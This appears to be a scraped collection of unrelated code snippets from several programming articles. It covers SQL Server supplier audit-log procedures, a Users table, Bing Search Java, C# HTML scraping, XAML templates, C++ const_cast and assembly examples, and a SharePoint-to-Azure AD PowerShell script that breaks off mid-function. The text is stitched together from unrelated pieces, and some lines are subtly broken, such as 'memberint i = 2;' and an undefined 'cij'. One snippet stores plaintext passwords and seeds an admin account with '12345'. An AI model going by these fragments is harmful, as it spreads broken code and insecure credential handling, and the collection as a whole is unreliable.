    -- Add the parameters for the stored procedure here
    @SupplierID INT OUTPUT,
    @SupplierName NVARCHAR(250),
    @InBusinessSince DATETIME2,
    @TaxNumber NVARCHAR(50),
    @LicenseNumber NVARCHAR(50),
    @IsActive BIT,
    @PreQualificationNumber NVARCHAR(50),
    @PreQualificationDate DATETIME,
    @PreQualificationExpiryDate DATETIME,
    @UserID INT
AS
BEGIN
    -- SET NOCOUNT ON added to prevent extra result sets from
    -- interfering with SELECT statements.
    SET NOCOUNT ON;

    -- Insert statements for procedure here
    IF (    EXISTS(    SELECT    [SupplierID]
                    FROM    [dbo].[tb_Supplier]
                    WHERE    [SupplierName] = @SupplierName
                    )
            )
    BEGIN
        RAISERROR('Supplier already exists', 16, 1);
    END
    ELSE
    BEGIN
        INSERT INTO
            [dbo].[tb_Supplier]
                (    SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                    IsActive,
                    PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                    CreatedBy, CreatedOn)
            VALUES
                (    @SupplierName, @InBusinessSince, @TaxNumber, @LicenseNumber,
                    @IsActive,
                    @PreQualificationNumber, @PreQualificationDate, @PreQualificationExpiryDate,
                    @UserID, GETDATE());

        SET @SupplierID = SCOPE_IDENTITY();

        INSERT INTO
            [dbo].[tb_SupplierLog]
                (    Operation, SupplierID,
                    SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                    IsActive,
                    PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                    CreatedBy, CreatedOn, UpdatedBy, UpdatedOn)
        SELECT    'INSERT', @SupplierID,
                SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                IsActive,
                PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                CreatedBy, CreatedOn, UpdatedBy, UpdatedOn
        FROM    [dbo].[tb_Supplier] WITH (NOLOCK)
        WHERE    SupplierID = @SupplierID;
    END

END

GO

CREATE PROCEDURE [dbo].[sp_Supplier_Update]
    -- Add the parameters for the stored procedure here
    @SupplierID INT OUTPUT,
    @SupplierName NVARCHAR(250),
    @InBusinessSince DATETIME2,
    @TaxNumber NVARCHAR(50),
    @LicenseNumber NVARCHAR(50),
    @IsActive BIT,
    @PreQualificationNumber NVARCHAR(50),
    @PreQualificationDate DATETIME,
    @PreQualificationExpiryDate DATETIME,
    @UserID INT
AS
BEGIN
    -- SET NOCOUNT ON added to prevent extra result sets from
    -- interfering with SELECT statements.
    SET NOCOUNT ON;

    -- Insert statements for procedure here
    IF (    EXISTS(    SELECT    [SupplierID]
                    FROM    [dbo].[tb_Supplier]
                    WHERE    [SupplierID] &lt;&gt; @SupplierID
                    AND        [SupplierName] = @SupplierName
                    )
            )
    BEGIN
        RAISERROR('Supplier already exists', 16, 1);
    END
    ELSE
    BEGIN
        UPDATE    [dbo].[tb_Supplier]
        SET        SupplierName = @SupplierName,
                InBusinessSince = @InBusinessSince,
                TaxNumber = @TaxNumber,
                LicenseNumber = @LicenseNumber,
                IsActive = @IsActive,
                PreQualificationNumber = @PreQualificationNumber,
                PreQualificationDate = @PreQualificationDate,
                PreQualificationExpiryDate = @PreQualificationExpiryDate,
                UpdatedBy = @UserID,
                UpdatedOn = GETDATE()
        WHERE    SupplierID = @SupplierID;

        INSERT INTO
            [dbo].[tb_SupplierLog]
                (    Operation, SupplierID,
                    SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                    IsActive,
                    PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                    CreatedBy, CreatedOn, UpdatedBy, UpdatedOn)
        SELECT    'UPDATE', @SupplierID,
                SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                IsActive,
                PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                CreatedBy, CreatedOn, UpdatedBy, UpdatedOn
        FROM    [dbo].[tb_Supplier] WITH (NOLOCK)
        WHERE    SupplierID = @SupplierID;
    END
END

GO

CREATE PROCEDURE [dbo].[sp_Supplier_Delete]
    -- Add the parameters for the stored procedure here
    @SupplierID INT,
    @UserID INT
AS
BEGIN
    -- SET NOCOUNT ON added to prevent extra result sets from
    -- interfering with SELECT statements.
    SET NOCOUNT ON;

    -- Insert statements for procedure here
    INSERT INTO
        [dbo].[tb_SupplierLog]
            (    Operation, SupplierID,
                SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                IsActive,
                PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                CreatedBy, CreatedOn, UpdatedBy, UpdatedOn)
    SELECT    'DELETE', @SupplierID,
            SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
            IsActive,
            PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
            CreatedBy, CreatedOn, @UserID, GETDATE()
    FROM    [dbo].[tb_Supplier] WITH (NOLOCK)
    WHERE    SupplierID = @SupplierID;

    DELETE FROM    [dbo].[tb_Supplier]
    WHERE        SupplierID = @SupplierID;
    
END

GO
</pre>


<pre lang="SQL">
CREATE PROCEDURE [dbo].[sp_SupplierLog_SelectBySupplierID]
    -- Add the parameters for the stored procedure here
    @SupplierID INT
AS
BEGIN
    -- SET NOCOUNT ON added to prevent extra result sets from
    -- interfering with SELECT statements.
    SET NOCOUNT ON;

    -- Insert statements for procedure here
    SELECT        *
    FROM        [dbo].[tb_SupplierLog] WITH (NOLOCK)
    WHERE        SupplierID = @SupplierID
    ORDER BY    [SupplierLogID];
    
END

GO</pre>


<pre lang="SQL">
CREATE PROCEDURE [dbo].[sp_Supplier_Restore]
    -- Add the parameters for the stored procedure here
    @SupplierLogID INT,
    @UserID INT
AS
BEGIN
    -- SET NOCOUNT ON added to prevent extra result sets from
    -- interfering with SELECT statements.
    SET NOCOUNT ON;

    -- Insert statements for procedure here
    DECLARE @SupplierID AS INT;
    
    SELECT        @SupplierID = ISNULL(MAX([Supplier].[SupplierID]), 0)
    FROM        [dbo].[tb_SupplierLog] [SupplierLog]
    INNER JOIN    [dbo].[tb_Supplier] [Supplier] ON [SupplierLog].[SupplierID] = [Supplier].[SupplierID]
    WHERE        [SupplierLogID] = @SupplierLogID

    IF (@SupplierID = 0)
    BEGIN
        -- INSERT DATA
        SET IDENTITY_INSERT [dbo].[tb_Supplier] ON;

        INSERT INTO
            [dbo].[tb_Supplier]
                (    SupplierID, SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                    IsActive,
                    PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                    CreatedBy, CreatedOn, UpdatedBy, UpdatedOn)
        SELECT        SupplierID, SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                    IsActive,
                    PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                    CreatedBy, CreatedOn, @UserID, GETDATE()
        FROM        [dbo].[tb_SupplierLog] [SupplierLog]
        WHERE        [SupplierLog].[SupplierLogID] = @SupplierLogID

        SET IDENTITY_INSERT [dbo].[tb_Supplier] OFF;

        SET @SupplierID = SCOPE_IDENTITY();
    END
    ELSE
    BEGIN
        -- UPDATE EXISTING RECORDS
        UPDATE        [dbo].[tb_Supplier]
        SET            SupplierName = [SupplierLog].[SupplierName],
                    InBusinessSince = [SupplierLog].[InBusinessSince],
                    TaxNumber = [SupplierLog].[TaxNumber],
                    LicenseNumber = [SupplierLog].[LicenseNumber],
                    IsActive = [SupplierLog].[IsActive],
                    PreQualificationNumber = [SupplierLog].[PreQualificationNumber],
                    PreQualificationDate = [SupplierLog].[PreQualificationDate],
                    PreQualificationExpiryDate = [SupplierLog].[PreQualificationExpiryDate],
                    UpdatedBy = @UserID,
                    UpdatedOn = GETDATE()
        FROM        [dbo].[tb_SupplierLog] [SupplierLog]
        INNER JOIN    [dbo].[tb_Supplier] [Supplier] ON [SupplierLog].[SupplierID] = [Supplier].[SupplierID]
        WHERE        [SupplierLog].[SupplierLogID] = @SupplierLogID
    END

    INSERT INTO
        [dbo].[tb_SupplierLog]
            (    Operation, SupplierID,
                SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
                IsActive,
                PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
                CreatedBy, CreatedOn, UpdatedBy, UpdatedOn)
    SELECT    'RESTORE', @SupplierID,
            SupplierName, InBusinessSince, TaxNumber, LicenseNumber,
            IsActive,
            PreQualificationNumber, PreQualificationDate, PreQualificationExpiryDate,
            CreatedBy, CreatedOn, UpdatedBy, UpdatedOn
    FROM    [dbo].[tb_Supplier] WITH (NOLOCK)
    WHERE    SupplierID = @SupplierID;

    SELECT    *
    FROM    [dbo].[tb_Supplier] WITH (NOLOCK)
    WHERE    [SupplierID] = @SupplierID;

END

GO</pre>



<pre lang="SQL">
USE [SignalRdb]

GO

CREATE TABLE [dbo].[tbl_Users](
       
[ID] [int] IDENTITY(1,1) NOT NULL,
       [UserName] [varchar](50) NULL,
       [Email] [varchar](50) NULL,
       [Password] [varchar](50) NULL,
       [Photo] [varchar](50) NULL,

 CONSTRAINT [PK_tbl_Users] PRIMARY KEY CLUSTERED
(
 [ID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
insert into [dbo].[tbl_Users] (UserName,Email,Password)values('admin','admin@admin.com','12345');</pre>


<pre lang="Java">
    // Replace the accessKey string value with your valid access key.
    static String accessKey = "Enter key here";

    static String host = "https://api.cognitive.microsoft.com";
    static String path = "/bing/v7.0/search";

    // Replace the following searchQuery with your query string.
    static String searchQuery= "Code Project Top Articles";

    // construct URL of search request (endpoint + query string)
    URL url = new URL(host + path + "?q=" +  URLEncoder.encode(searchQuery, "UTF-8"));
    HttpsURLConnection connection = (HttpsURLConnection)url.openConnection();

    // Set the access key header.
    connection.setRequestProperty("Ocp-Apim-Subscription-Key", accessKey);

    // Receive JSON body
    InputStream stream = connection.getInputStream();
    String response = new Scanner(stream).useDelimiter("\\A").next();

    // Construct result object for return.  
    SearchResults results = new SearchResults(new HashMap&lt;String, String&gt;(), response);
    stream.close();</pre>


<pre lang="Java">
    // pretty-printer for JSON; uses GSON parser to parse and re-serialize results.
    public static String prettify(String json_text) {
        JsonParser parser = new JsonParser();
        JsonObject json = parser.parse(json_text).getAsJsonObject();
        Gson gson = new GsonBuilder().setPrettyPrinting().create();
        return gson.toJson(json);
    }</pre>


<pre lang="SQL">
DROP DATABASE IF EXISTS experimentA;
CREATE DATABASE experimentA;
    
USE experimentA;
    
CREATE TABLE Student (
  Id int(11) NOT NULL AUTO_INCREMENT,
  Name varchar(100) COLLATE latin1_general_ci NOT NULL,
  Score int(11) NOT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=InnoDB AUTO_INCREMENT=1
    DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
    
INSERT INTO Student (Name, Score)
    VALUES ('Song Li', 25);
INSERT INTO experimentA.Student (Name, Score)
    VALUES ('Donald Trump', 100);
    
SELECT * FROM Student;</pre>


<pre lang="C++">
<em>EnvDTE</em>.<em>Project</em> proj = ..
&lt;...&gt;
<em>VCProject</em> vcProj = (<em>VCProject</em>)proj.<em>Object</em>;
<em>VCConfiguration</em> vcConfig = vcProj.<em>Configurations</em>.<em>Item</em>(projConfig);
<em>IVCCollection</em> tools = vcConfig.<em>Tools</em> as <em>IVCCollection</em>;
<em>VCLinkerTool</em> tool = tools.<em>Item</em>("VCLinkerTool") as <em>VCLinkerTool</em>;
tool.<em>GenerateDebugInformation</em> = false;</pre>


<pre lang="C++">
  template&lt;typename TData&gt;
  class data_queue
  {
  public:
    typedef <em>std</em>::<em>queue</em>&lt; TData &gt; data_cont;
  private:
    data_cont data_1;
    data_cont data_2;
  public:
    data_cont *in_ptr;
    data_cont *out_ptr;

    data_queue()
    {
      in_ptr = &amp;data_1;
      out_ptr = &amp;data_2;
    }

    void swap()
    {
      <em>std</em>::<em>swap</em>( in_ptr, out_ptr );
    }
  };</pre>


<pre lang="C++">
 HttpClient client = new HttpClient();    
 using (var response = await client.GetAsync(url))
    {
        using (var content = response.Content)
        {
            var result = await content.ReadAsStringAsync();
            var document = new HtmlDocument();
            document.LoadHtml(result);
            var nodes = document.DocumentNode.SelectNodes("//div[@class='item-inner clearfix']");
            var storeData = new List&lt;store&gt;();
            foreach (var node in nodes)
            {
                Store _store = ParseHtml(node);
                storeData.Add(_store);
            }
    
            HttpResponseMessage resp = await client.PostAsJsonAsync&lt;list&lt;store&gt;&gt;
                                       (@"/api/stores", storeData);
        }
    }</pre>


<pre lang="C++">
     private static Store ParseHtml(HtmlNode node)
        {
            var _store = new Store();

            _store.Image = node.Descendants("img").ElementAt(imgIndex).OuterHtml;
            _store.Link = node.Descendants("a").Select
                          (s =&gt; s.GetAttributeValue("href", "not found")).FirstOrDefault();
            _store.Title = node.Descendants("a").ElementAt(titIndex).InnerText;
            _store.Price = node.Descendants("span").ElementAt(pricIndex).InnerText;
            _store.RetailPrice = node.Descendants("span").ElementAt(retpricIndex).InnerText;

            return _store;
      }</pre>


<pre lang="HTML">
&lt;style&gt;
        ins {
            background-color: #c6ffc6;
            text-decoration: none;
        }
        del {
            background-color: #ffc6c6;
        }
        table, h3, input, label {
            margin: 10px;
        }
            table th {
                width: 30%;
            }
        #div1 {
            height: 50px;
        }
        #div2 {
            height: 50px;
        }
&lt;/style&gt;</pre>


<pre lang="HTML">
&lt;div id="container"&gt;
        &lt;h3&gt;Text Comparator Utility
        &lt;/h3&gt;
        &lt;table class="table table-striped table-bordered table-hover"&gt;
            &lt;thead&gt;
                &lt;tr&gt;
                    &lt;th&gt;Previous Version&lt;/th&gt;
                    &lt;th&gt;Modified Version&lt;/th&gt;
                    &lt;th&gt;Differences&lt;/th&gt;
                &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;tbody&gt;
                &lt;tr&gt;
                    &lt;td&gt;
                        &lt;textarea id="div1" class="original" style="width: 100%; height: 500px"&gt;
                            The blue fox climbing over the mountain followed by the armed villagers.
                            Village was full of brave soldiers capable to handle any dangerous
                            situation. They were not only helping the villagers but also the
                            wild animals freely roaming within the village and could pose a risk
                            to their lives as well. The blue fox climbing over the mountain
                            followed by the armed villagers. Village was full of brave soldiers
                            capable to handle any dangerous situation. They were not only helping
                            the villagers but also the wild animals freely roaming within the village
                            and could pose a risk to their lives as well. The blue fox climbing over
                            the mountain followed by the armed villagers. Village was full of
                            brave soldiers capable to handle any dangerous situation. They were
                            not only helping the villagers but also the wild animals freely roaming
                            within the village and could pose a risk to their lives as well.
                            The blue fox climbing over the mountain followed by the armed villagers.
                            Village was full of brave soldiers capable
                            to handle any dangerous situation.
                            They were not only helping the villagers but also the wild animals
                            freely roaming within the village and could pose a risk to
                            their lives as well.&lt;/textarea&gt;
                    &lt;/td&gt;
                    &lt;td&gt;
                        &lt;textarea id="div2" class="changed"
                        style="width: 100%; height: 500px"&gt;
                            The yellow fox running across the dusty road followed by the
                            unarmed villagers. Village was full of brave people, capable enough
                            to handle this situation. They are trying to help not only the villagers
                            but also the wild animals freely roaming out of the woods and could pose
                            a risk to their lives as well.
                            The yellow fox running across the dusty road
                            followed by the unarmed villagers. Village was full of brave people,
                            capable enough to handle this situation. They are trying to help not only
                            the villagers but also the wild animals freely roaming out of the woods
                            and could pose a risk to their lives as well. The yellow fox running
                            across the dusty road followed by the unarmed villagers. Village was
                            full of brave people, capable enough to handle this situation. They are
                            trying to help not only the villagers but also the wild animals
                            freely roaming out of the woods and
                            could pose a risk to their lives as well.
                            The yellow fox running across the dusty road followed
                            by the unarmed villagers.
                            Village was full of brave people,
                            capable enough to handle this situation.
                            They are trying to help not only the villagers but also the wild animals
                            freely roaming out of the woods and
                            could pose a risk to their lives as well.
                            &lt;/textarea&gt;
                    &lt;/td&gt;
                    &lt;td&gt;
                        &lt;div&gt;
                            &lt;label id="div3" style="width: 80%;
                            max-height: 500px; overflow-y: auto" class="diff"&gt;&lt;/label&gt;
                        &lt;/div&gt;
                    &lt;/td&gt;

                &lt;/tr&gt;
            &lt;/tbody&gt;
        &lt;/table&gt;
        &lt;div&gt;
            &lt;input type='button' class='btn btn-primary' value='Compare' /&gt;
        &lt;/div&gt;
&lt;/div&gt;</pre>


<pre lang="HTML">
&lt;!--  Old code --&gt;
&lt;!--The content below is only a placeholder and can be replaced.--&gt;
&lt;div style="text-align:center"&gt;
  &lt;h1&gt;
    Welcome to {{ title }}!
  &lt;/h1&gt;
  &lt;img width="300" alt="Angular Logo" src="data:image/svg+xml;base64,
   PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNTAgMjUwIj4KI
   CAgIDxwYXRoIGZpbGw9IiNERDAwMzEiIGQ9Ik0xMjUgMzBMMzEuOSA2My4ybDE0LjIgMTIzLjFMMTI1IDIzMGw
   3OC45LTQzLjcgMTQuMi0xMjMuMXoiIC8+CiAgICA8cGF0aCBmaWxsPSIjQzMwMDJGIiBkPSJNMTI1IDMwdjIy
   LjItLjFWMjMwbDc4LjktNDMuNyAxNC4yLTEyMy4xTDEyNSAzMHoiIC8+CiAgICA8cGF0aCAgZmlsbD0iI0ZGRk
   ZGRiIgZD0iTTEyNSA1Mi4xTDY2LjggMTgyLjZoMjEuN2wxMS43LTI5LjJoNDkuNGwxMS43IDI5LjJIMTgzTDEy
   NSA1Mi4xem0xNyA4My4zaC0zNGwxNy00MC45IDE3IDQwLjl6IiAvPgogIDwvc3ZnPg=="&gt;
&lt;/div&gt;
&lt;h2&gt;Here are some links to help you start: &lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;h2&gt;&lt;a target="_blank" rel="noopener" href="https://angular.io/tutorial"&gt;Tour of Heroes&lt;/a&gt;&lt;/h2&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;h2&gt;&lt;a target="_blank" rel="noopener" href="https://github.com/angular/angular-cli/wiki"&gt;
           CLI Documentation&lt;/a&gt;&lt;/h2&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;h2&gt;&lt;a target="_blank" rel="noopener" href="https://blog.angular.io/"&gt;Angular blog&lt;/a&gt;&lt;/h2&gt;
  &lt;/li&gt;
&lt;/ul&gt;</pre>


<pre lang="HTML">
&lt;!-- component navigation placeholder --&gt;
&lt;div class='container-fluid'&gt;
  &lt;div class='row'&gt;
     &lt;div class='col-sm-12 body-content'&gt;
          &lt;router-outlet&gt;&lt;/router-outlet&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;</pre>


<pre lang="C++">
const int ci = 3;                    // cv-qualified (initialized as required)
ci = 4;                              // ill-formed: attempt to modify const

int i = 2;                           // not cv-qualified
const int* cip;                      // pointer to const int
cip = &amp;i;                            // OK: cv-qualified access path to unqualified
*cip = 4;                            // ill-formed: attempt to modify through ptr to const

int* ip;
ip = const_cast&lt;int*&gt;(cip);    // cast needed to convert const int* to int*
*ip = 4;                             // defined: *ip points to i, a non-const object

const int* ciq = new const int (3);  // initialized as required
int* iq = const_cast&lt;int*&gt;(ciq); // cast required
*iq = 4;                             // undefined: modifies a const object</pre>


<pre lang="C++">
struct X {
    mutable int i;
    int j;
};

struct Y {
    X x;
    Y();
};

const Y y;
y.x.i++;                   // well-formed: mutable member can be modified
y.x.j++;                   // ill-formed: const-qualified member modified
Y* p = const_cast&lt;Y*&gt;(&amp;y); // cast away const-ness of y
p-&gt;x.i = 99;               // well-formed: mutable member can be modified
p-&gt;x.j = 99;               // undefined: modifies a const memberint i = 2;</pre>


<pre lang="C++">

int *ip;
void do_foo(int *a)
{
  ip = a;
}


int i =2
const int j = 2;
const int *cip = &amp;i;
const int *cjp = &amp;j;
do_foo(const_cast&lt;int*&gt;(cip)); //ok, cip points to a non-const object i
do_foo(cip);                   //bad, no guarantee of immutability on do_foo's a
do_foo(const_cast&lt;int*&gt;(cij)); //undefined, removed constant qualifer but updating const j</pre>


<pre lang="ASM">
.code
PUBLIC ?changeconst@App@@YIXPAX0@Z 
?changeconst@App@@YIXPAX0@Z PROC
    mov eax,dword ptr [edx]  ;edx is the address for the value - dereference and move to eax
    mov dword ptr [ecx], eax ;ecx is the address for the variable - store value in eax in variable 
    ret
?changeconst@App@@YIXPAX0@Z ENDP 

END</pre>


<pre lang="ASM">
.code
PUBLIC ?changeconst@App@@YIXPAX0@Z
?changeconst@App@@YIXPAX0@Z PROC
    push ebp					 ;prologue
    mov  ebp,esp
    sub  esp,0C0h
    mov  edx,dword ptr [ebp+12] ;move value to edx
    mov  ecx,dword ptr [ebp+8]  ;mov const variable's to change address to ecx
    mov  eax, [edx]			    ;dereference the value in edx and mov to eax
    mov  dword ptr [ecx],eax    ;move value in eax to variable dereferenced in ecx
    mov  esp,ebp                ;epilogue
    pop  ebp
    ret
?changeconst@App@@YIXPAX0@Z ENDP

END</pre>


<pre lang="ASM">
.code
PUBLIC ?changeconst@App@@YAXPEAX0@Z
?changeconst@App@@YAXPEAX0@Z PROC
mov rax,qword ptr [rdx]  ;rdx is the address for the value - dereference and move to rax
mov qword ptr [rcx], rax ;rcx is the address for the variable - store value in rax in variable
ret
?changeconst@App@@YAXPEAX0@Z ENDP

END</pre>



<pre lang="XML">
&lt;Grid&gt;
   &lt;Grid.RowDefinitions&gt;
         &lt;RowDefinition Height="*" /&gt;
   &lt;/Grid.RowDefinitions&gt;
   &lt;Grid.ColumnDefinitions&gt;
         &lt;ColumnDefinition Width="*" /&gt;
         &lt;ColumnDefinition Width="Auto" /&gt;
   &lt;/Grid.ColumnDefinitions&gt;
          &lt;TextBlock Grid.Row="0" Grid.Column="0" Foreground="#ff0000" Text="Date"  /&gt;
          &lt;TextBlock Grid.Row="1" Grid.Column="1" Foreground="#ff0000" Text="Entry Count" /&gt;
&lt;/Grid&gt;</pre>


<pre lang="XML">
&lt;Grid&gt;
  &lt;Grid.RowDefinitions&gt;
     &lt;RowDefinition Height="*" /&gt;
  &lt;/Grid.RowDefinitions&gt;
  &lt;Grid.ColumnDefinitions&gt;
     &lt;ColumnDefinition Width="5*" /&gt;
     &lt;ColumnDefinition Width="Auto" /&gt;
  &lt;/Grid.ColumnDefinitions&gt;
  &lt;TextBlock Grid.Row="0" Grid.Column="0" Foreground="DarkBlue" Text="2017-12-11" /&gt;
  &lt;TextBlock Grid.Row="0" Grid.Column="1" Foreground="DarkBlue" Text="3"/&gt;
&lt;/Grid&gt;</pre>


<pre lang="XML">
&lt;ListView.ItemTemplate&gt;
  &lt;DataTemplate&gt;
     &lt;Grid&gt;
        &lt;Grid.RowDefinitions&gt;
           &lt;RowDefinition Height="*" /&gt;
        &lt;/Grid.RowDefinitions&gt;
        &lt;Grid.ColumnDefinitions&gt;
           &lt;ColumnDefinition Width="200" /&gt;
           &lt;ColumnDefinition Width="*" /&gt;
        &lt;/Grid.ColumnDefinitions&gt;
       &lt;TextBlock Margin="7 0 0 0"  Grid.Row="0" Grid.Column="0" Foreground="DarkBlue" Text="{Binding}"/&gt;
       &lt;TextBlock Margin="25 0 2 0" Grid.Row="0" Grid.Column="1" Foreground="DarkBlue" Text="3" /&gt;
      &lt;/Grid&gt;
  &lt;/DataTemplate&gt;
&lt;/ListView.ItemTemplate&gt;</pre>


<pre lang="HTML">
&lt;DataTemplate x:Key="localPersonTemplatexBind" x:DataType="local:Person"&gt;

            &lt;StackPanel Background="Red"&gt;
                &lt;TextBlock Text="{x:Bind Id}" /&gt;
                &lt;TextBlock Text="{x:Bind Name}" /&gt;
                &lt;TextBlock Text="{x:Bind Age}" /&gt;
            &lt;/StackPanel&gt;

 &lt;/DataTemplate&gt;</pre>


<pre lang="HTML">
&lt;DataTemplate x:Key="localPersonTemplateBinding" x:DataType="local:Person"&gt;

            &lt;StackPanel Background="Azure"&gt;
                &lt;TextBlock Text="{Binding Id}" /&gt;
                &lt;TextBlock Text="{Binding Name}" /&gt;
                &lt;TextBlock Text="{Binding Age}" /&gt;
            &lt;/StackPanel&gt;

&lt;/DataTemplate&gt;</pre>


<pre lang="HTML">
&lt;ResourceDictionary&gt;
 
   &lt;!--data-template for ItemviewModel class as shown later--&gt;
   &lt;DataTemplate x:Key="z"  x:DataType="local:ItemViewModel"&gt;
        &lt;StackPanel&gt;
            &lt;TextBlock Text="fds" /&gt;
            &lt;TextBlock Text="{x:Bind Title}"/&gt;
            &lt;TextBlock Text="{x:Bind ItemCategory}"/&gt;
        &lt;/StackPanel&gt;
    &lt;/DataTemplate&gt;

           
  &lt;!--data-template for ItemsServiceViewModel class as shown later--&gt;
  &lt;DataTemplate x:Key="itemServieTemplate" x:DataType="local:ItemsServiceViewModel"&gt;
     &lt;Grid Background="LightGreen" BorderBrush="Black" BorderThickness="3"&gt;
        &lt;ListBox ItemsSource="{x:Bind Items,Mode=OneWay}" ItemTemplate="{StaticResource z}" /&gt;
        &lt;Button VerticalAlignment="Bottom" Content="Add Item Test" Click="{x:Bind AddItem}"/&gt;
     &lt;/Grid&gt;
  &lt;/DataTemplate&gt;

&lt;/ResourceDictionary&gt;</pre>


<pre lang="Powershell">
$certPrKPath = "c:\location_of_your_.pfx_file"
$certPassword = "your_password"
$stsCertificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 $certPrKPath, $certPassword, 20
Set-SPSecurityTokenServiceConfig -ImportSigningCertificate $stsCertificate -confirm:$false
</pre>


<pre lang="Powershell">
function Connect-SPFarmToAAD {

param(

    [Parameter(Mandatory)][String]   $AADDomain,

    [Parameter(Mandatory)][String]   $SharePointOnlineUrl,

    #Specify this parameter if you don't want to use the default SPWeb returned

    [Parameter()][String]            $SharePointWeb,

    [Parameter()][System.Management.Automation.PSCredential] $O365Credentials,

    #Use these switches if you're replacing an existing connection to AAD.

    [Parameter()][Switch]            $RemoveExistingACS,

    [Parameter()][Switch]            $RemoveExistingSTS,

    [Parameter()][Switch]            $RemoveExistingSPOProxy,

    #Use this switch if you're replacing the Office 365 SharePoint site.

    [Parameter()][Switch]            $RemoveExistingAADCredentials,

    #Use this switch if you don't want to use SSL when you launch your app.

    [Parameter()][Switch]            $AllowOverHttp

)

    #Prompt for credentials right away.

    if (-not $O365Credentials) {

        $O365Credentials = Get-Credential -Message "Admin credentials for $AADDomain"

    }

    Add-PSSnapin Microsoft.SharePoint.PowerShell

    #Import the Microsoft Online Services Sign-In Assistant.

    Import-Module -Name MSOnline

    #Import the Microsoft Online Services Module for Windows Powershell.

    Import-Module MSOnlineExtended -force -verbose

    #Set values for Constants.

    New-Variable -Option Constant -Name SP_APPPRINCIPALID -Value '00000003-0000-0ff1-ce00-000000000000' | Out-Null

    New-Variable -Option Constant -Name ACS_APPPRINCIPALID -Value '00000001-0000-0000-c000-000000000000' | Out-Null

    New-Variable -Option Constant -Name ACS_APPPROXY_NAME -Value ACS

    New-Variable -Option Constant -Name SPO_MANAGEMENT_APPPROXY_NAME -Value 'SPO Add-in Management Proxy'

    New-Variable -Option Constant -Name ACS_STS_NAME -Value ACS-STS

    New-Variable -Option Constant -Name AAD_METADATAEP_FSTRING -Value 'https://accounts.accesscontrol.windows.net/{0}/metadata/json/1'

    New-Variable -Option Constant -Name SP_METADATAEP_FSTRING -Value '{0}/_layouts/15/metadata/json/1'

    #Get the default SPWeb from the on-premises farm if no $SharePointWeb parameter is specified.

    if ([String]::IsNullOrEmpty($SharePointWeb)) {

        $SharePointWeb = Get-SPSite | Select-Object -First 1 | Get-SPWeb | Select-Object -First 1 | % Url

    }


    #Configure the realm ID for local farm so that it matches the AAD realm.

    $ACSMetadataEndpoint = $AAD_METADATAEP_FSTRING -f $AADDomain

    $ACSMetadata = Invoke-RestMethod -Uri $ACSMetadataEndpoint

    $AADRealmId = $ACSMetadata.realm


    Set-SPAuthenticationRealm -ServiceContext $SharePointWeb -Realm $AADRealmId


    $LocalSTS = Get-SPSecurityTokenServiceConfig

    $LocalSTS.NameIdentifier = '{0}@{1}' -f $SP_APPPRINCIPALID,$AADRealmId

    $LocalSTS.Update()


    #Allow connections over HTTP if the switch is specified.

    if ($AllowOverHttp.IsPresent -and $AllowOverHttp -eq $True) {

        $serviceConfig = Get-SPSecurityTokenServiceConfig

        $serviceConfig.AllowOAuthOverHttp = $true

        $serviceConfig.AllowMetadataOverHttp = $true

        $serviceConfig.Update()

    }


    #Step 1: Set up the ACS proxy in the on-premises SharePoint farm. Remove the existing ACS proxy

    #if the switch is specified.

    if ($RemoveExistingACS.IsPresent -and $RemoveExistingACS -eq $True) {

        Get-SPServiceApplicationProxy | ? DisplayName -EQ $ACS_APPPROXY_NAME | Remove-SPServiceApplicationProxy -RemoveData -Confirm:$false

    }

    if (-not (Get-SPServiceApplicationProxy | ? DisplayName -EQ $ACS_APPPROXY_NAME)) {

        $AzureACSProxy = New-SPAzureAccessControlServiceApplicationProxy -Name $ACS_APPPROXY_NAME -MetadataServiceEndpointUri $ACSMetadataEndpoint -DefaultProxyGroup

    }


    #Remove the existing security token service if the switch is specified.

    if ($RemoveExistingSTS.IsPresent) {

        Get-SPTrustedSecurityTokenIssuer | ? Name -EQ $ACS_STS_NAME | Remove-SPTrustedSecurityTokenIssuer -Confirm:$false

    }

    if (-not (Get-SPTrustedSecurityTokenIssuer | ? DisplayName -EQ $ACS_STS_NAME)) {

        $AzureACSSTS = New-SPTrustedSecurityTokenIssuer -Name $ACS_STS_NAME -IsTrustBroker -MetadataEndPoint $ACSMetadataEndpoint

    }


    #Update the ACS Proxy for OAuth authentication.

    $ACSProxy = Get-SPServiceApplicationProxy | ? Name -EQ $ACS_APPPROXY_NAME

    $ACSProxy.DiscoveryConfiguration.SecurityTokenServiceName = $ACS_APPPRINCIPALID

    $ACSProxy.Update()


    #Retrieve the local STS signing key from JSON metadata.

